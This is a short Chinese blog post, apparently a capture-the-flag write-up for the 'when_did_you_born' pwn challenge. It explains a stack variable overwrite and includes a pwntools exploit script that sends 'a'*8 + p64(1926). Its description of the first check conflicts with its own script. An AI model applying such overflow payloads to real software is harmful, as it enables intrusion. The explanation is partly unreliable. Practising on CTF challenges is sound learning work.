when did you born

作者: YeeZi_ | 来源:发表于2019-05-22 01:39 被阅读27次

    When_did_you_born

    日常查保护

    image.png

    发现开了canary(这个我至今不太清楚原理)就很迷,然后还是选择去ida里看伪代码

    image.png

    我们可以发现程序包含有两次的if判断和两次输入

    第一次的判断是What’s Your Birth?后输入一个v5,v5=1926(这出题人皮啊)就可以继续进入到第二个判断了,第二个是What’s Your Name?后输入v4,但是v4貌似没有任何作用,第二的条件是让v5等于1926才能cat到flag。

    好,大概有个思路就是让v4的输入更改v5的值。

    image.png

    我们点这两个变量进去看,发现v4是var_20,v5是var_18,我们要让v4覆盖v5。

    
    payload = “a” * 8 +p64(1926)
    
    

    好了,关键步骤出来了,我们就可以上脚本了

    exp

    
    from pwn import*
    
    p = process('./when_did_you_born')
    
    #p = remote('111.198.29.45', '53157')
    
    payload = 'a'*8 + p64(1926)
    
    p.recvuntil("What's Your Birth?\n")
    
    p.sendline('2000')
    
    p.recvuntil("What's Your Name?\n")
    
    p.sendline(payload)
    
    p.interactive()
    
    

    远程不知道为啥连不到,那就在本地运行一遍看看结果

    image.png

    然后发现我们get到shell了,只是本地没有flag文件,那就算是完工了吧

    相关文章

      网友评论

        本文标题:when did you born

        本文链接:https://www.haomeiwen.com/subject/mhuezqtx.html